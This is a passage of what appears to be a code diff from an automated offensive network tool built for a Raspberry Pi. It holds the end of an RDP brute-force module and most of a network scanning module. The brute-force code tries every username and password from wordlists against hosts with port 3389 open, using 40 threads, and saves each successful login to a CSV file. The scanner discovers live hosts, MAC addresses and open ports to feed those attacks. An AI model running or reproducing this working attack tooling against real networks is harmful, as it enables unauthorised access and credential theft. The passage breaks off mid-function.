|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("3389", na=False)]
|
||||||
|
|
||||||
|
self.users = open(shared_data.usersfile, "r").read().splitlines()
|
||||||
|
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
|
||||||
|
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.rdpfile = shared_data.rdpfile
|
||||||
|
# If the file doesn't exist, it will be created
|
||||||
|
if not os.path.exists(self.rdpfile):
|
||||||
|
logger.info(f"File {self.rdpfile} does not exist. Creating...")
|
||||||
|
with open(self.rdpfile, "w") as f:
|
||||||
|
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
|
||||||
|
self.results = [] # List to store results temporarily
|
||||||
|
self.queue = Queue()
|
||||||
|
self.console = Console()
|
||||||
|
|
||||||
|
def load_scan_file(self):
|
||||||
|
"""
|
||||||
|
Load the netkb file and filter it for RDP ports.
|
||||||
|
"""
|
||||||
|
self.scan = pd.read_csv(self.shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("3389", na=False)]
|
||||||
|
|
||||||
|
def rdp_connect(self, adresse_ip, user, password):
|
||||||
|
"""
|
||||||
|
Attempt to connect to an RDP service using the given credentials.
|
||||||
|
"""
|
||||||
|
command = f"xfreerdp /v:{adresse_ip} /u:{user} /p:{password} /cert:ignore +auth-only"
|
||||||
|
try:
|
||||||
|
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
stdout, stderr = process.communicate()
|
||||||
|
if process.returncode == 0:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except subprocess.SubprocessError as e:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def worker(self, progress, task_id, success_flag):
|
||||||
|
"""
|
||||||
|
Worker thread to process items in the queue.
|
||||||
|
"""
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||||
|
break
|
||||||
|
|
||||||
|
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||||
|
if self.rdp_connect(adresse_ip, user, password):
|
||||||
|
with self.lock:
|
||||||
|
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||||
|
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user} | Password: {password}")
|
||||||
|
self.save_results()
|
||||||
|
self.removeduplicates()
|
||||||
|
success_flag[0] = True
|
||||||
|
self.queue.task_done()
|
||||||
|
progress.update(task_id, advance=1)
|
||||||
|
|
||||||
|
def run_bruteforce(self, adresse_ip, port):
|
||||||
|
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
|
||||||
|
|
||||||
|
total_tasks = len(self.users) * len(self.passwords)
|
||||||
|
|
||||||
|
for user in self.users:
|
||||||
|
for password in self.passwords:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||||
|
return False, []
|
||||||
|
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||||
|
|
||||||
|
success_flag = [False]
|
||||||
|
threads = []
|
||||||
|
|
||||||
|
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
|
||||||
|
task_id = progress.add_task("[cyan]Bruteforcing RDP...", total=total_tasks)
|
||||||
|
|
||||||
|
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
|
||||||
|
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
|
||||||
|
|
||||||
|
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
|
||||||
|
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
|
||||||
|
t.start()
|
||||||
|
threads.append(t)
|
||||||
|
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||||
|
while not self.queue.empty():
|
||||||
|
self.queue.get()
|
||||||
|
self.queue.task_done()
|
||||||
|
break
|
||||||
|
|
||||||
|
self.queue.join()
|
||||||
|
|
||||||
|
for t in threads:
|
||||||
|
t.join()
|
||||||
|
|
||||||
|
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
"""
|
||||||
|
Save the results of successful connection attempts to a CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
|
||||||
|
df.to_csv(self.rdpfile, index=False, mode='a', header=not os.path.exists(self.rdpfile))
|
||||||
|
self.results = [] # Reset temporary results after saving
|
||||||
|
|
||||||
|
def removeduplicates(self):
|
||||||
|
"""
|
||||||
|
Remove duplicate entries from the results CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.read_csv(self.rdpfile)
|
||||||
|
df.drop_duplicates(inplace=True)
|
||||||
|
df.to_csv(self.rdpfile, index=False)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
rdp_bruteforce = RDPBruteforce(shared_data)
|
||||||
|
logger.info("Démarrage de l'attaque RDP... sur le port 3389")
|
||||||
|
|
||||||
|
# Load the netkb file and get the IPs to scan
|
||||||
|
ips_to_scan = shared_data.read_data()
|
||||||
|
|
||||||
|
# Execute the brute force on each IP
|
||||||
|
for row in ips_to_scan:
|
||||||
|
ip = row["IPs"]
|
||||||
|
logger.info(f"Executing RDPBruteforce on {ip}...")
|
||||||
|
rdp_bruteforce.execute(ip, b_port, row, b_status)
|
||||||
|
|
||||||
|
logger.info(f"Nombre total de succès: {len(rdp_bruteforce.rdp_connector.results)}")
|
||||||
|
exit(len(rdp_bruteforce.rdp_connector.results))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Erreur: {e}")
|
||||||
589
actions/scanning.py
Normal file
@@ -0,0 +1,589 @@
|
|||||||
|
#scanning.py
|
||||||
|
# This script performs a network scan to identify live hosts, their MAC addresses, and open ports.
|
||||||
|
# The results are saved to CSV files and displayed using Rich for enhanced visualization.
|
||||||
|
|
||||||
|
import os
|
||||||
|
import threading
|
||||||
|
import csv
|
||||||
|
import pandas as pd
|
||||||
|
import socket
|
||||||
|
import netifaces
|
||||||
|
import time
|
||||||
|
import glob
|
||||||
|
import logging
|
||||||
|
from datetime import datetime
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.table import Table
|
||||||
|
from rich.text import Text
|
||||||
|
from rich.progress import Progress
|
||||||
|
from getmac import get_mac_address as gma
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
import ipaddress
|
||||||
|
import nmap
|
||||||
|
|
||||||
|
logger = Logger(name="scanning.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
b_class = "NetworkScanner"
|
||||||
|
b_module = "scanning"
|
||||||
|
b_status = "network_scanner"
|
||||||
|
b_port = None
|
||||||
|
b_parent = None
|
||||||
|
b_priority = 1
|
||||||
|
|
||||||
|
class NetworkScanner:
|
||||||
|
"""
|
||||||
|
This class handles the entire network scanning process.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.logger = logger
|
||||||
|
self.displaying_csv = shared_data.displaying_csv
|
||||||
|
self.blacklistcheck = shared_data.blacklistcheck
|
||||||
|
self.mac_scan_blacklist = shared_data.mac_scan_blacklist
|
||||||
|
self.ip_scan_blacklist = shared_data.ip_scan_blacklist
|
||||||
|
self.console = Console()
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.currentdir = shared_data.currentdir
|
||||||
|
self.semaphore = threading.Semaphore(200) # Limit the number of active threads to 20
|
||||||
|
self.nm = nmap.PortScanner() # Initialize nmap.PortScanner()
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
def check_if_csv_scan_file_exists(self, csv_scan_file, csv_result_file, netkbfile):
|
||||||
|
"""
|
||||||
|
Checks and prepares the necessary CSV files for the scan.
|
||||||
|
"""
|
||||||
|
with self.lock:
|
||||||
|
try:
|
||||||
|
if not os.path.exists(os.path.dirname(csv_scan_file)):
|
||||||
|
os.makedirs(os.path.dirname(csv_scan_file))
|
||||||
|
if not os.path.exists(os.path.dirname(netkbfile)):
|
||||||
|
os.makedirs(os.path.dirname(netkbfile))
|
||||||
|
if os.path.exists(csv_scan_file):
|
||||||
|
os.remove(csv_scan_file)
|
||||||
|
if os.path.exists(csv_result_file):
|
||||||
|
os.remove(csv_result_file)
|
||||||
|
if not os.path.exists(netkbfile):
|
||||||
|
with open(netkbfile, 'w', newline='') as file:
|
||||||
|
writer = csv.writer(file)
|
||||||
|
writer.writerow(['MAC Address', 'IPs', 'Hostnames', 'Alive', 'Ports'])
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in check_if_csv_scan_file_exists: {e}")
|
||||||
|
|
||||||
|
def get_current_timestamp(self):
|
||||||
|
"""
|
||||||
|
Returns the current timestamp in a specific format.
|
||||||
|
"""
|
||||||
|
return datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
|
||||||
|
def ip_key(self, ip):
|
||||||
|
"""
|
||||||
|
Converts an IP address to a tuple of integers for sorting.
|
||||||
|
"""
|
||||||
|
if ip == "STANDALONE":
|
||||||
|
return (0, 0, 0, 0)
|
||||||
|
try:
|
||||||
|
return tuple(map(int, ip.split('.')))
|
||||||
|
except ValueError as e:
|
||||||
|
self.logger.error(f"Error in ip_key: {e}")
|
||||||
|
return (0, 0, 0, 0)
|
||||||
|
|
||||||
|
def sort_and_write_csv(self, csv_scan_file):
|
||||||
|
"""
|
||||||
|
Sorts the CSV file based on IP addresses and writes the sorted content back to the file.
|
||||||
|
"""
|
||||||
|
with self.lock:
|
||||||
|
try:
|
||||||
|
with open(csv_scan_file, 'r') as file:
|
||||||
|
lines = file.readlines()
|
||||||
|
sorted_lines = [lines[0]] + sorted(lines[1:], key=lambda x: self.ip_key(x.split(',')[0]))
|
||||||
|
with open(csv_scan_file, 'w') as file:
|
||||||
|
file.writelines(sorted_lines)
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in sort_and_write_csv: {e}")
|
||||||
|
|
||||||
|
class GetIpFromCsv:
|
||||||
|
"""
|
||||||
|
Helper class to retrieve IP addresses, hostnames, and MAC addresses from a CSV file.
|
||||||
|
"""
|
||||||
|
def __init__(self, outer_instance, csv_scan_file):
|
||||||
|
self.outer_instance = outer_instance
|
||||||
|
self.csv_scan_file = csv_scan_file
|
||||||
|
self.ip_list = []
|
||||||
|
self.hostname_list = []
|
||||||
|
self.mac_list = []
|
||||||
|
self.get_ip_from_csv()
|
||||||
|
|
||||||
|
def get_ip_from_csv(self):
|
||||||
|
"""
|
||||||
|
Reads IP addresses, hostnames, and MAC addresses from the CSV file.
|
||||||
|
"""
|
||||||
|
with self.outer_instance.lock:
|
||||||
|
try:
|
||||||
|
with open(self.csv_scan_file, 'r') as csv_scan_file:
|
||||||
|
csv_reader = csv.reader(csv_scan_file)
|
||||||
|
next(csv_reader)
|
||||||
|
for row in csv_reader:
|
||||||
|
if row[0] == "STANDALONE" or row[1] == "STANDALONE" or row[2] == "STANDALONE":
|
||||||
|
continue
|
||||||
|
if not self.outer_instance.blacklistcheck or (row[2] not in self.outer_instance.mac_scan_blacklist and row[0] not in self.outer_instance.ip_scan_blacklist):
|
||||||
|
self.ip_list.append(row[0])
|
||||||
|
self.hostname_list.append(row[1])
|
||||||
|
self.mac_list.append(row[2])
|
||||||
|
except Exception as e:
|
||||||
|
self.outer_instance.logger.error(f"Error in get_ip_from_csv: {e}")
|
||||||
|
|
||||||
|
def update_netkb(self, netkbfile, netkb_data, alive_macs):
|
||||||
|
"""
|
||||||
|
Updates the net knowledge base (netkb) file with the scan results.
|
||||||
|
"""
|
||||||
|
with self.lock:
|
||||||
|
try:
|
||||||
|
netkb_entries = {}
|
||||||
|
existing_action_columns = []
|
||||||
|
|
||||||
|
# Read existing CSV file
|
||||||
|
if os.path.exists(netkbfile):
|
||||||
|
with open(netkbfile, 'r') as file:
|
||||||
|
reader = csv.DictReader(file)
|
||||||
|
existing_headers = reader.fieldnames
|
||||||
|
existing_action_columns = [header for header in existing_headers if header not in ["MAC Address", "IPs", "Hostnames", "Alive", "Ports"]]
|
||||||
|
for row in reader:
|
||||||
|
mac = row["MAC Address"]
|
||||||
|
ips = row["IPs"].split(';')
|
||||||
|
hostnames = row["Hostnames"].split(';')
|
||||||
|
alive = row["Alive"]
|
||||||
|
ports = row["Ports"].split(';')
|
||||||
|
netkb_entries[mac] = {
|
||||||
|
'IPs': set(ips) if ips[0] else set(),
|
||||||
|
'Hostnames': set(hostnames) if hostnames[0] else set(),
|
||||||
|
'Alive': alive,
|
||||||
|
'Ports': set(ports) if ports[0] else set()
|
||||||
|
}
|
||||||
|
for action in existing_action_columns:
|
||||||
|
netkb_entries[mac][action] = row.get(action, "")
|
||||||
|
|
||||||
|
ip_to_mac = {} # Dictionary to track IP to MAC associations
|
||||||
|
|
||||||
|
for data in netkb_data:
|
||||||
|
mac, ip, hostname, ports = data
|
||||||
|
if not mac or mac == "STANDALONE" or ip == "STANDALONE" or hostname == "STANDALONE":
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check if MAC address is "00:00:00:00:00:00"
|
||||||
|
if mac == "00:00:00:00:00:00":
|
||||||
|
continue
|
||||||
|
|
||||||
|
if self.blacklistcheck and (mac in self.mac_scan_blacklist or ip in self.ip_scan_blacklist):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check if IP is already associated with a different MAC
|
||||||
|
if ip in ip_to_mac and ip_to_mac[ip] != mac:
|
||||||
|
# Mark the old MAC as not alive
|
||||||
|
old_mac = ip_to_mac[ip]
|
||||||
|
if old_mac in netkb_entries:
|
||||||
|
netkb_entries[old_mac]['Alive'] = '0'
|
||||||
|
|
||||||
|
# Update or create entry for the new MAC
|
||||||
|
ip_to_mac[ip] = mac
|
||||||
|
if mac in netkb_entries:
|
||||||
|
netkb_entries[mac]['IPs'].add(ip)
|
||||||
|
netkb_entries[mac]['Hostnames'].add(hostname)
|
||||||
|
netkb_entries[mac]['Alive'] = '1'
|
||||||
|
netkb_entries[mac]['Ports'].update(map(str, ports))
|
||||||
|
else:
|
||||||
|
netkb_entries[mac] = {
|
||||||
|
'IPs': {ip},
|
||||||
|
'Hostnames': {hostname},
|
||||||
|
'Alive': '1',
|
||||||
|
'Ports': set(map(str, ports))
|
||||||
|
}
|
||||||
|
for action in existing_action_columns:
|
||||||
|
netkb_entries[mac][action] = ""
|
||||||
|
|
||||||
|
# Update all existing entries to mark missing hosts as not alive
|
||||||
|
for mac in netkb_entries:
|
||||||
|
if mac not in alive_macs:
|
||||||
|
netkb_entries[mac]['Alive'] = '0'
|
||||||
|
|
||||||
|
# Remove entries with multiple IP addresses for a single MAC address
|
||||||
|
netkb_entries = {mac: data for mac, data in netkb_entries.items() if len(data['IPs']) == 1}
|
||||||
|
|
||||||
|
sorted_netkb_entries = sorted(netkb_entries.items(), key=lambda x: self.ip_key(sorted(x[1]['IPs'])[0]))
|
||||||
|
|
||||||
|
with open(netkbfile, 'w', newline='') as file:
|
||||||
|
writer = csv.writer(file)
|
||||||
|
writer.writerow(existing_headers) # Use existing headers
|
||||||
|
for mac, data in sorted_netkb_entries:
|
||||||
|
row = [
|
||||||
|
mac,
|
||||||
|
';'.join(sorted(data['IPs'], key=self.ip_key)),
|
||||||
|
';'.join(sorted(data['Hostnames'])),
|
||||||
|
data['Alive'],
|
||||||
|
';'.join(sorted(data['Ports'], key=int))
|
||||||
|
]
|
||||||
|
row.extend(data.get(action, "") for action in existing_action_columns)
|
||||||
|
writer.writerow(row)
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in update_netkb: {e}")
|
||||||
|
|
||||||
|
def display_csv(self, file_path):
|
||||||
|
"""
|
||||||
|
Displays the contents of the specified CSV file using Rich for enhanced visualization.
|
||||||
|
"""
|
||||||
|
with self.lock:
|
||||||
|
try:
|
||||||
|
table = Table(title=f"Contents of {file_path}", show_lines=True)
|
||||||
|
with open(file_path, 'r') as file:
|
||||||
|
reader = csv.reader(file)
|
||||||
|
headers = next(reader)
|
||||||
|
for header in headers:
|
||||||
|
table.add_column(header, style="cyan", no_wrap=True)
|
||||||
|
for row in reader:
|
||||||
|
formatted_row = [Text(cell, style="green bold") if cell else Text("", style="on red") for cell in row]
|
||||||
|
table.add_row(*formatted_row)
|
||||||
|
self.console.print(table)
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in display_csv: {e}")
|
||||||
|
|
||||||
|
def get_network(self):
|
||||||
|
"""
|
||||||
|
Retrieves the network information including the default gateway and subnet.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
gws = netifaces.gateways()
|
||||||
|
default_gateway = gws['default'][netifaces.AF_INET][1]
|
||||||
|
iface = netifaces.ifaddresses(default_gateway)[netifaces.AF_INET][0]
|
||||||
|
ip_address = iface['addr']
|
||||||
|
netmask = iface['netmask']
|
||||||
|
cidr = sum([bin(int(x)).count('1') for x in netmask.split('.')])
|
||||||
|
network = ipaddress.IPv4Network(f"{ip_address}/{cidr}", strict=False)
|
||||||
|
self.logger.info(f"Network: {network}")
|
||||||
|
return network
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in get_network: {e}")
|
||||||
|
|
||||||
|
def get_mac_address(self, ip, hostname):
|
||||||
|
"""
|
||||||
|
Retrieves the MAC address for the given IP address and hostname.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
mac = None
|
||||||
|
retries = 5
|
||||||
|
while not mac and retries > 0:
|
||||||
|
mac = gma(ip=ip)
|
||||||
|
if not mac:
|
||||||
|
time.sleep(2) # Attendre 2 secondes avant de réessayer
|
||||||
|
retries -= 1
|
||||||
|
if not mac:
|
||||||
|
mac = f"{ip}_{hostname}" if hostname else f"{ip}_NoHostname"
|
||||||
|
return mac
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in get_mac_address: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
class PortScanner:
|
||||||
|
"""
|
||||||
|
Helper class to perform port scanning on a target IP.
|
||||||
|
"""
|
||||||
|
def __init__(self, outer_instance, target, open_ports, portstart, portend, extra_ports):
|
||||||
|
self.outer_instance = outer_instance
|
||||||
|
self.logger = logger
|
||||||
|
self.target = target
|
||||||
|
self.open_ports = open_ports
|
||||||
|
self.portstart = portstart
|
||||||
|
self.portend = portend
|
||||||
|
self.extra_ports = extra_ports
|
||||||
|
|
||||||
|
def scan(self, port):
|
||||||
|
"""
|
||||||
|
Scans a specific port on the target IP.
|
||||||
|
"""
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.settimeout(2)
|
||||||
|
try:
|
||||||
|
con = s.connect((self.target, port))
|
||||||
|
self.open_ports[self.target].append(port)
|
||||||
|
con.close()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
s.close() # Ensure the socket is closed
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
"""
|
||||||
|
Starts the port scanning process for the specified range and extra ports.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
for port in range(self.portstart, self.portend):
|
||||||
|
t = threading.Thread(target=self.scan_with_semaphore, args=(port,))
|
||||||
|
t.start()
|
||||||
|
for port in self.extra_ports:
|
||||||
|
t = threading.Thread(target=self.scan_with_semaphore, args=(port,))
|
||||||
|
t.start()
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.info(f"Maximum threads defined in the semaphore reached: {e}")
|
||||||
|
|
||||||
|
def scan_with_semaphore(self, port):
|
||||||
|
"""
|
||||||
|
Scans a port using a semaphore to limit concurrent threads.
|
||||||
|
"""
|
||||||
|
with self.outer_instance.semaphore:
|
||||||
|
self.scan(port)
|
||||||
|
|
||||||
|
class ScanPorts:
|
||||||
|
"""
|
||||||
|
Helper class to manage the overall port scanning process for a network.
|
||||||
|
"""
|
||||||
|
def __init__(self, outer_instance, network, portstart, portend, extra_ports):
|
||||||
|
self.outer_instance = outer_instance
|
||||||
|
self.logger = logger
|
||||||
|
self.progress = 0
|
||||||
|
self.network = network
|
||||||
|
self.portstart = portstart
|
||||||
|
self.portend = portend
|
||||||
|
self.extra_ports = extra_ports
|
||||||
|
self.currentdir = outer_instance.currentdir
|
||||||
|
self.scan_results_dir = outer_instance.shared_data.scan_results_dir
|
||||||
|
self.timestamp = outer_instance.get_current_timestamp()
|
||||||
|
self.csv_scan_file = os.path.join(self.scan_results_dir, f'scan_{network.network_address}_{self.timestamp}.csv')
|
||||||
|
self.csv_result_file = os.path.join(self.scan_results_dir, f'result_{network.network_address}_{self.timestamp}.csv')
|
||||||
|
self.netkbfile = outer_instance.shared_data.netkbfile
|
||||||
|
self.ip_data = None
|
||||||
|
self.open_ports = {}
|
||||||
|
self.all_ports = []
|
||||||
|
self.ip_hostname_list = []
|
||||||
|
|
||||||
|
def scan_network_and_write_to_csv(self):
|
||||||
|
"""
|
||||||
|
Scans the network and writes the results to a CSV file.
|
||||||
|
"""
|
||||||
|
self.outer_instance.check_if_csv_scan_file_exists(self.csv_scan_file, self.csv_result_file, self.netkbfile)
|
||||||
|
with self.outer_instance.lock:
|
||||||
|
try:
|
||||||
|
with open(self.csv_scan_file, 'a', newline='') as file:
|
||||||
|
writer = csv.writer(file)
|
||||||
|
writer.writerow(['IP', 'Hostname', 'MAC Address'])
|
||||||
|
except Exception as e:
|
||||||
|
self.outer_instance.logger.error(f"Error in scan_network_and_write_to_csv (initial write): {e}")
|
||||||
|
|
||||||
|
# Use nmap to scan for live hosts
|
||||||
|
self.outer_instance.nm.scan(hosts=str(self.network), arguments='-sn')
|
||||||
|
for host in self.outer_instance.nm.all_hosts():
|
||||||
|
t = threading.Thread(target=self.scan_host, args=(host,))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
time.sleep(5)
|
||||||
|
self.outer_instance.sort_and_write_csv(self.csv_scan_file)
|
||||||
|
|
||||||
|
def scan_host(self, ip):
|
||||||
|
"""
|
||||||
|
Scans a specific host to check if it is alive and retrieves its hostname and MAC address.
|
||||||
|
"""
|
||||||
|
if self.outer_instance.blacklistcheck and ip in self.outer_instance.ip_scan_blacklist:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
hostname = self.outer_instance.nm[ip].hostname() if self.outer_instance.nm[ip].hostname() else ''
|
||||||
|
mac = self.outer_instance.get_mac_address(ip, hostname)
|
||||||
|
if not self.outer_instance.blacklistcheck or mac not in self.outer_instance.mac_scan_blacklist:
|
||||||
|
with self.outer_instance.lock:
|
||||||
|
with open(self.csv_scan_file, 'a', newline='') as file:
|
||||||
|
writer = csv.writer(file)
|
||||||
|
writer.writerow([ip, hostname, mac])
|
||||||
|
self.ip_hostname_list.append((ip, hostname, mac))
|
||||||
|
except Exception as e:
|
||||||
|
self.outer_instance.logger.error(f"Error getting MAC address or writing to file for IP {ip}: {e}")
|
||||||
|
self.progress += 1
|
||||||
|
time.sleep(0.1) # Adding a small delay to avoid overwhelming the network
|
||||||
|
|
||||||
|
def get_progress(self):
|
||||||
|
"""
|
||||||
|
Returns the progress of the scanning process.
|
||||||
|
"""
|
||||||
|
return (self.progress / self.total_ips) * 100
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
"""
|
||||||
|
Starts the network and port scanning process.
|
||||||
|
"""
|
||||||
|
self.scan_network_and_write_to_csv()
|
||||||
|
time.sleep(7)
|
||||||
|
self.ip_data = self.outer_instance.GetIpFromCsv(self.outer_instance, self.csv_scan_file)
|
||||||
|
self.open_ports = {ip: [] for ip in self.ip_data.ip_list}
|
||||||
|
with Progress() as progress:
|
||||||
|
task = progress.add_task("[cyan]Scanning IPs...", total=len(self.ip_data.ip_list))
|
||||||
|
for ip in self.ip_data.ip_list:
|
||||||
|
progress.update(task, advance=1)
|
||||||
|
port_scanner = self.outer_instance.PortScanner(self.outer_instance, ip, self.open_ports, self.portstart, self.portend, self.extra_ports)
|
||||||
|
port_scanner.start()
|
||||||
|
|
||||||
|
self.all_ports = sorted(list(set(port for ports in self.open_ports.values() for port in ports)))
|
||||||
|
alive_ips = set(self.ip_data.ip_list)
|
||||||
|
return self.ip_data, self.open_ports, self.all_ports, self.csv_result_file, self.netkbfile, alive_ips
|
||||||
|
|
||||||
|
class LiveStatusUpdater:
|
||||||
|
"""
|
||||||
|
Helper class to update the live status of hosts and clean up scan results.
|
||||||
|
"""
|
||||||
|
def __init__(self, source_csv_path, output_csv_path):
|
||||||
|
self.logger = logger
|
||||||
|
self.source_csv_path = source_csv_path
|
||||||
|
self.output_csv_path = output_csv_path
|
||||||
|
|
||||||
|
def read_csv(self):
|
||||||
|
"""
|
||||||
|
Reads the source CSV file into a DataFrame.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
self.df = pd.read_csv(self.source_csv_path)
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in read_csv: {e}")
|
||||||
|
|
||||||
|
def calculate_open_ports(self):
|
||||||
|
"""
|
||||||
|
Calculates the total number of open ports for alive hosts.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
alive_df = self.df[self.df['Alive'] == 1].copy()
|
||||||
|
alive_df.loc[:, 'Ports'] = alive_df['Ports'].fillna('')
|
||||||
|
alive_df.loc[:, 'Port Count'] = alive_df['Ports'].apply(lambda x: len(x.split(';')) if x else 0)
|
||||||
|
self.total_open_ports = alive_df['Port Count'].sum()
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in calculate_open_ports: {e}")
|
||||||
|
|
||||||
|
def calculate_hosts_counts(self):
|
||||||
|
"""
|
||||||
|
Calculates the total and alive host counts.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# self.all_known_hosts_count = self.df.shape[0]
|
||||||
|
self.all_known_hosts_count = self.df[self.df['MAC Address'] != 'STANDALONE'].shape[0]
|
||||||
|
self.alive_hosts_count = self.df[self.df['Alive'] == 1].shape[0]
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in calculate_hosts_counts: {e}")
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
"""
|
||||||
|
Saves the calculated results to the output CSV file.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if os.path.exists(self.output_csv_path):
|
||||||
|
results_df = pd.read_csv(self.output_csv_path)
|
||||||
|
results_df.loc[0, 'Total Open Ports'] = self.total_open_ports
|
||||||
|
results_df.loc[0, 'Alive Hosts Count'] = self.alive_hosts_count
|
||||||
|
results_df.loc[0, 'All Known Hosts Count'] = self.all_known_hosts_count
|
||||||
|
results_df.to_csv(self.output_csv_path, index=False)
|
||||||
|
else:
|
||||||
|
self.logger.error(f"File {self.output_csv_path} does not exist.")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in save_results: {e}")
|
||||||
|
|
||||||
|
def update_livestatus(self):
|
||||||
|
"""
|
||||||
|
Updates the live status of hosts and saves the results.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
self.read_csv()
|
||||||
|
self.calculate_open_ports()
|
||||||
|
self.calculate_hosts_counts()
|
||||||
|
self.save_results()
|
||||||
|
self.logger.info("Livestatus updated")
|
||||||
|
self.logger.info(f"Results saved to {self.output_csv_path}")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in update_livestatus: {e}")
|
||||||
|
|
||||||
|
def clean_scan_results(self, scan_results_dir):
|
||||||
|
"""
|
||||||
|
Cleans up old scan result files, keeping only the most recent ones.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
files = glob.glob(scan_results_dir + '/*')
|
||||||
|
files.sort(key=os.path.getmtime)
|
||||||
|
for file in files[:-20]:
|
||||||
|
os.remove(file)
|
||||||
|
self.logger.info("Scan results cleaned up")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Error in clean_scan_results: {e}")
|
||||||
|
|
||||||
|
def scan(self):
|
||||||
|
"""
|
||||||
|
Initiates the network scan, updates the netkb file, and displays the results.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
self.shared_data.bjornorch_status = "NetworkScanner"
|
||||||
|
self.logger.info(f"Starting Network Scanner")
|
||||||
|
network = self.get_network()
|
||||||
|
self.shared_data.bjornstatustext2 = str(network)
|
||||||
|
portstart = self.shared_data.portstart
|
||||||
|
portend = self.shared_data.portend
|
||||||
|
extra_ports = self.shared_data.portlist
|
||||||
|
scanner = self.ScanPorts(self, network, portstart, portend, extra_ports)
|
||||||
|
ip_data, open_ports, all_ports, csv_result_file, netkbfile, alive_ips = scanner.start()
|
||||||
|
|
||||||
|
alive_macs = set(ip_data.mac_list)
|
||||||
|
|
||||||
|
table = Table(title="Scan Results", show_lines=True)
|
||||||
|
table.add_column("IP", style="cyan", no_wrap=True)
|
||||||
|
table.add_column("Hostname", style="cyan", no_wrap=True)
|
||||||
|
table.add_column("Alive", style="cyan", no_wrap=True)
|
||||||
|
table.add_column("MAC Address", style="cyan", no_wrap=True)
|
||||||
|
for port in all_ports:
|
||||||
|
table.add_column(f"{port}", style="green")
|
||||||
|
|
||||||
|
netkb_data = []
|
||||||
|
for ip, ports, hostname, mac in zip(ip_data.ip_list, open_ports.values(), ip_data.hostname_list, ip_data.mac_list):
|
||||||
|
